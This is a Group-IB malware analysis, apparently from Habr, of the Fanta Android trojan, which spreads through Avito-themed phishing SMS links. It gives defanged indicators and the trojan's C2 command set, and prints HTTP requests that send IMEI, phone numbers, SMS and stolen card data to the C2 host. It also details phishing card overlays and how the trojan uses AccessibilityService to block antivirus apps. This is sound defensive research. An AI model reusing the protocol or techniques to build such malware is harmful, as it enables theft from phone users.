Лейся, Fanta: новая тактика старенького Android-трояна



    Однажды вы захотите продать что-нибудь на Avito и, выложив подробное описание своего товара (например, модуль оперативной памяти), получите вот такое сообщение:

    Открыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:


    После того, как вы нажали кнопку “Продолжить”, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.

    Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных случается страшное: по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши “Назад” и “Домой”, не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?

    Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.

    Авторы: Андрей Половинкин, младший специалист по анализу вредоносного кода, Иван Писарев, специалист по анализу вредоносного кода.

    Немного статистики


    Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.

    Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше — в Казахстане и Беларуси.

    Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по кампаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?


    От продажи до обмана


    Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с его именем и ссылкой на фишинговую страницу, содержащую описание ее товара и суммы, полученной с “продажи” товара. Нажав на кнопку, пользователь получает вредоносный APK-файл — Fanta.

    Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:

    • ns1.hostinger.ru
    • ns2.hostinger.ru
    • ns3.hostinger.ru
    • ns4.hostinger.ru

    Файл зоны домена содержит записи, указывающие на IP-адреса 31.220.23[.]236, 31.220.23[.]243 и 31.220.23[.]235. Однако основная ресурсная запись домена (A-запись) указывает на сервер с IP-адресом 178.132.1[.]240.

    IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру WorldStream. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется openprov-ru. На IP-адрес 178.132.1[.]240 также резолвились домены:

    • sdelka-ru[.]ru
    • tovar-av[.]ru
    • av-tovar[.]ru
    • ru-sdelka[.]ru
    • shcet382[.]ru
    • sdelka221[.]ru
    • sdelka211[.]ru
    • vyplata437[.]ru
    • viplata291[.]ru
    • perevod273[.]ru
    • perevod901[.]ru

    Следует отметить, что почти со всех доменов были доступны ссылки следующего формата:

    http://(www.){0,1}<%domain%>/[0-9]{7}

    Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.

    Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес onuseseddohap[.]club. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес 217.23.14[.]27, расположенный в Нидерландах и принадлежащий хостеру WorldStream. В качестве регистратора используется namecheap. На данный IP-адрес также резолвились домены bad-racoon[.]club (начиная с 2018-09-25) и bad-racoon[.]live (начиная с 2018-10-25). С доменом bad-racoon[.]club взаимодействовало более 80 APK-файлов, с bad-racoon[.]live — более 100.

    В целом, ход атаки выглядит следующим образом:

    Что у Fanta под крышкой?


    Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать AccessibilityService для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:

    • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
    • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
    • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

    Сразу после запуска


    Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:

    • android_x86
    • VirtualBox
    • Nexus 5X(bullhead)
    • Nexus 5(razor)

    Данная проверка производится в главном сервисе трояна — MainService. При первом запуске происходит инициализация конфигурационных параметров приложения значениями по умолчанию (о формате хранения конфигурационных данных и их значении будет рассказано позже), а также регистрация нового зараженного устройства на управляющем сервере. На сервер будет отправлен HTTP POST-запрос с типом сообщения register_bot и информацией о зараженном устройстве (версия Android, IMEI, номер телефона, имя оператора и код страны, в которой зарегистрирован оператор). В качестве управляющего сервера выступает адрес hXXp://onuseseddohap[.]club/controller.php. В ответ сервер отправляет сообщение, в котором содержатся поля bot_id, bot_pwd, server — эти значения приложение сохраняет в качестве параметров CnC-сервера. Параметр server необязательный, если поле не было получено: Fanta использует адрес регистрации — hXXp://onuseseddohap[.]club/controller.php. Функция изменения CnC-адреса может быть применена для решения двух задач: равномерного распределения нагрузки между несколькими серверами (при большом количестве зараженных устройств нагрузка на неоптимизированный веб-сервер может быть высокой), а также для использования альтернативного сервера в случае отказа одного из CnC-серверов.

    Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.

    После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:


    Важное замечание: сервис под названием Безопасность системы — наименование сервиса трояна, и после нажатия на кнопку ОК будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:


    Как только пользователь включает AccessibilityService, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:


    Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:


    При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.

    Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.

    Для получения команды Fanta осуществляет запрос GetTask на управляющий сервер. В ответ CnC может отправить одну из следующих команд:
    Команда Описание
    0 Отправить СМС-сообщение
    1 Выполнить телефонный звонок или USSD-команду
    2 Обновляет параметр interval
    3 Обновляет параметр intercept
    6 Обновляет параметр smsManager
    9 Начать сбор СМС-сообщений
    11 Сбросить телефон до заводских настроек
    12 Включение/Выключение логирования создания диалоговых окон
    Fanta также собирает уведомления от 70 приложений банков, систем быстрых платежей и электронных кошельков и сохраняет их в базу данных.

    Хранение конфигурационных параметров


    Для хранения конфигурационных параметров Fanta использует стандартный подход для платформы Android — Preferences-файлы. Настройки будут сохранены в файл с именем settings. Описание сохраняемых параметров находится в таблице ниже.
    Имя Значение по умолчанию Возможные значения Описание
    id 0 Integer Идентификатор бота
    server hXXp://onuseseddohap[.]club/ URL Адрес управляющего сервера
    pwd - String Пароль для сервера
    interval 20 Integer Временной интервал. Показывает, на сколько нужно отложить выполнение следующих задач:
    • При отправке запроса о статусе отправленного СМС-сообщения
    • Получение новой команды от управляющего сервера

    intercept all all/telNumber Если поле равно строке all или telNumber, тогда полученное СМС-сообщение будет перехвачено приложением и не показано пользователю
    smsManager 0 0/1 Включение/выключение приложения в качестве получателя СМС по умолчанию
    readDialog false True/false Включение/Выключение логирования событий AccessibilityEvent
    Также Fanta использует файл smsManager:
    Имя Значение по умолчанию Возможные значения Описание
    pckg - String Имя используемого менеджера СМС-сообщений

    Взаимодействие с базами данных


    В процессе своей работы троян использует две базы данных. База данных с именем a используется для хранения различной информации, собранной с телефона. Вторая база данных носит имя fanta.db и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.

    Троян использует базу данных а для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице logs. Для создания таблицы используется следующий SQL-запрос:

    create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

    В базе данных содержится следующая информация:

    1. Логирование включения зараженного устройства сообщением Телефон включился!

    2. Уведомления от приложений. Сообщение формируется по следующему шаблону:

    (<%App Name%>)<%Title%>: <%Notification text%>
    

    3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр VIEW_NAME может быть одним из списка:

    • AliExpress
    • Avito
    • Google Play
    • Разное <%App Name%>

    Сообщение логируется в формате:

    [<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
    

    4. Входящие/исходящие СМС-сообщения в формате:

    ([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
    

    5. Информация о пакете, создающем диалоговое окно в формате:

    (<%Package name%>)<%Package information%>
    

    Пример таблицы logs:


    Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация о том, что окно было показано пользователю, сохраняется в таблице settings в базе данных fanta.db. Для создания базы данных используется следующий SQL-запрос:

    create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

    Все поля таблицы settings по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы settings:

    • can_login — поле отвечает за показ формы при открытии банковского приложения
    • first_bank — не используется
    • can_avito — поле отвечает за показ формы при открытии приложения Avito
    • can_ali — поле отвечает за показ формы при открытии приложения Aliexpress
    • can_another — поле отвечает за показ формы при открытии любого приложения из списка: Юла, Pandao, Дром Авто, Кошелёк. Скидочные и бонусные карты, Aviasales, Booking, Trivago
    • can_card — поле отвечает за показ формы при открытии Google Play

    Взаимодействие с управляющим сервером


    Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу hXXp://onuseseddohap[.]club/controller.php. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:

    • Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:
      · Cookie — полученные cookie от сервера (значение по умолчанию — пустая строка)
      · mode — строковая константа register_bot
      · prefix — целочисленная константа 2
      · version_sdk — формируется по следующему шаблону: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
      · imei — IMEI зараженного устройства
      · country — код страны, в которой зарегистрирован оператор, в формате ISO
      · number — номер телефона
      · operator — имя оператора

      Пример запроса, отправляемого на сервер:

      POST /controller.php HTTP/1.1
      Cookie:
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 144
      Host: onuseseddohap.club
      Connection: close
      Accept-Encoding: gzip, deflate
      User-Agent: okhttp/3.6.0
      
      mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
      

      В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:
      · bot_id — идентификатор зараженного устройства. В случае если bot_id будет равен 0, Fanta повторно выполнит запрос.
      · bot_pwd — пароль для сервера.
      · server — адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.

      Пример JSON-объекта:

      {
          "response":[
         	 {
         		 "bot_id": <%BOT_ID%>,
         		 "bot_pwd": <%BOT_PWD%>,
         		 "server": <%SERVER%>
         	 }
          ],
          "status":"ok"
      }

    • Запрос на получение команды от сервера. На сервер отправляются следующие данные:
      · Cookie — полученные cookie от сервера
      · bid — id зараженного устройства, которое было получено при отправке запроса register_bot
      · pwd —пароль для сервера
      · divice_admin — поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно 1, иначе 0
      · Accessibility — статус работы Accessibility Service. Если служба была запущена, значение равно 1, иначе 0
      · SMSManager — показывает, включен ли троян как приложение по умолчанию для получения СМС
      · screen — отображает, в каком состоянии находится экран. Будет установлено значение 1, если экран включен, иначе 0;

      Пример запроса, отправляемого на сервер:

      POST /controller.php HTTP/1.1
      Cookie:
      Content-Type: application/x-www-form-urlencoded
      Host: onuseseddohap.club
      Connection: close
      Accept-Encoding: gzip, deflate
      User-Agent: okhttp/3.6.0
      
      mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

      В зависимости от команды сервер может вернуть JSON-объект с разными параметрами:

      · Команда Отправить СМС-сообщение: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом setSmsStatus.

      {
          "response":
          [
         	 {
         		 "mode": 0,
         		 "sms_number": <%SMS_NUMBER%>,
         		 "sms_text": <%SMS_TEXT%>,
         		 "sms_id": %SMS_ID%
         	 }
          ],
          "status":"ok"
      }

      · Команда Выполнить телефонный звонок или USSD-команду: Номер телефона или команда приходит в теле ответа.

      {
          "response":
          [
         	 {
         		 "mode": 1,
         		 "command": <%TEL_NUMBER%>
         	 }
          ],
          "status":"ok"
      }

      · Команда Изменить параметр interval.

      {
          "response":
          [
         	 {
         		 "mode": 2,
         		 "interval": <%SECONDS%>
         	 }
          ],
          "status":"ok"
      }

      · Команда Изменить параметр intercept.

      {
          "response":
          [
         	 {
         		 "mode": 3,
         		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
         	 }
          ],
          "status":"ok"
      }

      · Команда Изменить поле SmsManager.

      {
          "response":
          [
         	 {
         		 "mode": 6,
         		 "enable": 0/1
         	 }
          ],
          "status":"ok"
      }

      · Команда Выполнить сбор СМС-сообщений с зараженного устройства.

      {
          "response":
          [
         	 {
         		 "mode": 9
         	 }
          ],
          "status":"ok"
      }

      · Команда Сбросить телефон до заводских настроек:

      {
          "response":
          [
         	 {
         		 "mode": 11
         	 }
          ],
          "status":"ok"
      }

      · Команда Изменить параметр ReadDialog.

      {
          "response":
          [
         	 {
         		 "mode": 12,
         		 "enable": 0/1
         	 }
          ],
          "status":"ok"
      }

    • Отправка сообщения с типом setSmsStatus. Данный запрос осуществляется после исполнения команды Отправить СМС-сообщение. Запрос выглядит следующим образом:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

    • Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:
      · Cookie — полученные cookie от сервера
      · mode — строковая константа setSaveInboxSms
      · bid — id зараженного устройства, которое было получено при отправке запроса register_bot
      · text — текст в текущей записи БД (поле d из таблицы logs в базе данных а)
      · number — наименование текущей записи БД (поле p из таблицы logs в базе данных а)
      · sms_mode — целочисленное значение (поле m из таблицы logs в базе данных а)

      Запрос выглядит следующим образом:

      POST /controller.php HTTP/1.1
      Cookie:
      Content-Type: application/x-www-form-urlencoded
      Host: onuseseddohap.club
      Connection: close
      Accept-Encoding: gzip, deflate
      User-Agent: okhttp/3.6.0
      
      mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

      При успешной отправке на сервер строка будет удалена из таблицы. Пример JSON-объекта, возвращаемого сервером:

      {
          "response":[],
          "status":"ok"
      }

    Взаимодействие с AccessibilityService


    AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать их программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.

    Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами — readDialog. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:

    • Имитирует нажатие клавиш назад и домой в случае:
      · если пользователь хочет перезагрузить свое устройство
      · если пользователь хочет удалить приложение “Avito” или изменить права доступа
      · если на странице есть упоминание о приложении “Avito”
      · при открытии приложения “Google Play Защита”
      · при открытии страниц с настройками AccessibilityService
      · при возникновении диалогового окна “Безопасность системы”
      · при открытии страницы с настройками “Draw over other app”
      · при открытии страницы “Приложения”, “Восстановление и сброс”, “Сброс данных”, “Сброс настроек”, “Панель разработчиков”, “Спец. возможности”, “Специальные возможности”, “Особые права”
      · если событие было сгенерировано определенными приложениями.

      Список приложений
      • android
      • Master Lite
      • Clean Master
      • Clean Master for x86 CPU
      • Meizu Applicatiom Permission Management
      • MIUI Security
      • Clean Master — Антивирус & Очистка кэша и мусора
      • Родительский контроль и GPS: Kaspersky SafeKids
      • Kaspersky Antivirus AppLock & Web Security Beta
      • Virus Cleaner, Antivirus, Cleaner (MAX Security)
      • Mobile AntiVirus Security PRO
      • Avast антивирус & бесплатная защита 2019
      • Mobile Security МегаФон
      • AVG Protection для Xperia
      • Мобильная Безопасность
      • Malwarebytes антивирус & защита
      • Антивирус на Андроид 2019
      • Security Master — Antivirus, VPN, AppLock, Booster
      • AVG антивирус для планшета Huawei System Manager
      • Samsung Accessibility
      • Samsung Smart Manager
      • Security Master
      • Speed Booster
      • Dr.Web
      • Dr.Web Security Space
      • Dr.Web Mobile Control Center
      • Dr.Web Security Space Life
      • Dr.Web Mobile Control Center
      • Antivirus & Mobile Security
      • Kaspersky Internet Security: Антивирус и Защита
      • Kaspersky Battery Life: Saver & Booster
      • Kaspersky Endpoint Security — защита и управление
      • AVG Антивирус бесплатно 2019 – Защита для Андроид
      • Antivirus Android
      • Norton Mobile Security and Antivirus
      • Антивирус, брандмауэр, VPN, мобильная безопасность
      • Mobile Security: антивирус, VPN, защита от кражи
      • Антивирус для Андроидa

    • Если при отправке СМС-сообщения на короткий номер запрашивается разрешение, Fanta имитирует нажатие на checkbox Запомнить выбор и кнопку отправить.
    • При попытке отобрать у трояна права администратора блокирует экран телефона.
    • Препятствует добавлению новых администраторов.
    • В случае если антивирусное приложение dr.web обнаружило угрозу, Fanta имитирует нажатие на кнопку игнорировать.
    • Троян имитирует нажатие на кнопку назад и домой, если событие было сгенерировано приложением Samsung Device Care.
    • Fanta создает фишинговые окна с формами для ввода информации о банковских картах, если было запущено приложение из списка, включающего порядка 30 различных Интернет-сервисов. Среди них: AliExpress, Booking, Avito, Компонент Google Play Market, Pandao, Дром Авто и др.

      Фишинговые формы


      Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно поверх всех остальных, которое представляет собой форму для ввода информации о банковской карте. Пользователю необходимо ввести следующие данные:
      • Номер карты
      • Срок действия карты
      • CVV
      • Имя держателя карты (не для всех банков)

      В зависимости от запущенного приложения будут продемонстрированы разные фишинговые окна. Далее будут представлены примеры некоторых из них:

      Aliexpress:


      Avito:


      Для некоторых других приложений, например Google Play Market, Aviasales, Pandao, Booking, Trivago:


      Как все было на самом деле


      К счастью, человек, получивший описанное в начале статьи СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская, версия отличается от рассказанной ранее: человек получил интересное СМС, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки — данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и, чтобы ваша не была похожа на режиссерскую версию с потерей денег, в большинстве случаев достаточно придерживаться следующих, давно описанных правил:
      • не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
      • при установке приложения обращать особое внимание на запрашиваемые приложением права
      • обращать внимание на расширения загружаемых файлов
      • регулярно устанавливать обновления ОС Android
      • не посещать подозрительные ресурсы и не скачивать оттуда файлы
      • не переходить по ссылкам, полученным в СМС-сообщениях.
    Group-IB
    73,21
    Компания
    Поделиться публикацией

    Комментарии 17

      +1
      не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
      при установке приложения обращать особое внимание на запрашиваемые приложением права


      И не залезет к Вам этот троян. Или хотя бы не делать этого на гаджетах, в которые Вы занесли данные карточек.
        +1

        Зачем вообще вводить данные карточки в телефон? Это же небезопасно, так как периодически находятся различные экплойты (приложения для получения прав root) для андроида, плюс какие-то популярные приложения могут быть протроянены (особенно пиратские версии приложений с формуов, или сомнительные приложения для скачивания видео, музыки бесплатно).


        Если вы пользуетесь банком с компьютера, то злоумышленнику надо взломать и компьютер, и телефон. А если с телефона — то взломать достаточно одно устройство.

          0
          приложения могут быть протроянены

          Я кажется через apk только 1 раз на планшет ставил VLC и, ЕМНИП, ещё что-то на Droid4X.
          Где VLC был для функции ускоренного воспроизведения, но не помню, стала ли она уже тогда нормальной под Андроид.
            0

            Еще интересно, что google pay не всегда определял рут на устройстве, и все равно работал. учитывая что в игрушке на этом-же устройстве рут определялся и она блокировала свою работу.

          +1
          Интересно, а с чем связано особое отношение к Nexus 5/5X?
          Ностальгия?
          Да, и кстати, по умолчанию же выключена в андроиде возможность установки приложений из неизвестных источников, т.е. это может сработать только на устройстве, где юзер сам явно разрешил установку хз чего, хз откуда. Да и ходить по ссылкам из смс/ммс полученным неизвестно от кого — тоже явный признак альтернативной одарённости.
            0
            Интересно, а с чем связано особое отношение к Nexus 5/5X?

            Могу предположить что это один из вариантов названий устройств в эмуляторах.
              0
              по умолчанию же выключена в андроиде возможность установки приложений из неизвестных источников
              При попытке запуска .apk в таком случае выводится предупреждение, что настройка отключена и предлагается пройти в настройки, где ее можно включить. И если юзер ССЗБ, прошел по левой ссылке, там нажал «продолжить» и скачал невесть что, то что его остановит от включения этой настройки?
              +1
              Ну не знаю, меня бы смутила ещё ссылка shcet491[.]ru, ну явно же паль какая-то.
                +4

                Почему паль? Обычный същчьёт под номером 491 :-)

                +1
                В случае если антивирусное приложение dr.web обнаружило угрозу, Fanta имитирует нажатие на кнопку игнорировать.

                Даже не знаю, это качество антивируса просто улётное, или качество операционки, которая для антивируса не позволяет сделать окно, не управляемое программно?


                (Чтобы вирусы и прочие весельчаки не могли делать такое же неуправляемое окно, проверяем наличие entitlement, которое выдаём только при ручной модерации в плей-маркете, например)

                  0
                  Операционки. Антивирус работает не как некое системное приложение, а как обычная программа, конкурируя за доступ к сервисам с иными приложениями. Плюс Гугл периодически требует урезать функционал
                  +9
                  не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play

                  В отличии от остальных советов, этот — бесполезный, и даже вредный (поскольку может внушить чувство ложной безопасности). Вот вам опыт отдельно взятого пользователя (меня):
                  — я однажды подхватил вирус, установив приложение из Google Play
                  — я ни разу не имел проблем с приложениями из Amazon Appstore
                  — я ни разу не имел проблем с приложениями из F-Droid
                  Я бы сформулировал это как «не устанавливать приложения для мобильного устройства с ОС Android из неизвестных источников, и даже при установке из известных — не терять бдительность».
                    0

                    Учитывая как google в свое время не считало нужным проверить ВСЕ приложения в магазине на наличие вирусов, о которых стало известно, а только новые или получившие обновления. Ну что тут сказать.

                    –1
                    Не отрывать ссылки пришедшие через мессенджеры и смс от неизвестных контактов в телефоне это уже обыденное правило цифровой гигиены. А статья написана так как будто читатели и пользователи смартфонов все поголовно клинические дурачки:
                    Открыв ссылку, вы увидите с виду довольно безобидную страницу

                    После того, как вы нажали кнопку “Продолжить”

                    Вы установили приложение, которое почему-то запросило права AccessibilityService
                    Авторы типа страх нагоняют.
                    Маркетологу за статью фу фу.

                    //

                    Дочитал статью до конца. Последний абзац нужно вынести было в первый, максимум второй. Типа что произойдет, если вдруг у вас полностью отключатся мозги.
                      0
                      Почему на картинке с предполагаемого мошеннического сайта в описании (и по номеру) память DDR3, а на фотографии SSD?
                        0
                        Это даже сложней чем вирус под Линукс, который надо скомпилить из исходников, найдя нужные библиотеки.

                        Но нельзя не отметить отсутствие совсем уж детских орфографических ошибок в текстах, выдаваемых троянцем. Но ошибки всё равно есть.
                          0
                          «что бы» — вполне себе детская ошибка.

                        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                        Самое читаемое